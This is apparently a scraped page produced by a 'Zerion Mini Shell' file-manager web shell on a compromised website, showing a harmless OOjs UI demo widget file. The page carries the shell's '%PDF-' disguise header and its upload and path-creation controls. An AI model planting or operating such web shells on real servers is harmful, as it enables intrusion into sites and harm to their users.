%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/vendor/oojs/oojs-ui/demos/classes/
Upload File :
Create Path :
Current File : //www/varak.net/wiki.varak.net/vendor/oojs/oojs-ui/demos/classes/SimpleWidget.js

/**
 * Very simple custom widget.
 *
 * @class
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.IconElement
 * @mixins OO.ui.mixin.LabelElement
 *
 * @param {Object} [config] Configuration options
 */
Demo.SimpleWidget = function DemoSimpleWidget( config ) {
	// Configuration initialization
	config = config || {};

	// Parent constructor
	Demo.SimpleWidget.parent.call( this, config );

	// Mixin constructors
	OO.ui.mixin.IconElement.call( this, config );
	OO.ui.mixin.LabelElement.call( this, config );

	// Initialization
	this.$element
		.addClass( 'demo-simpleWidget' )
		.append( this.$icon, this.$label );
};

/* Setup */
OO.inheritClass( Demo.SimpleWidget, OO.ui.Widget );
OO.mixinClass( Demo.SimpleWidget, OO.ui.mixin.IconElement );
OO.mixinClass( Demo.SimpleWidget, OO.ui.mixin.LabelElement );

Zerion Mini Shell 1.0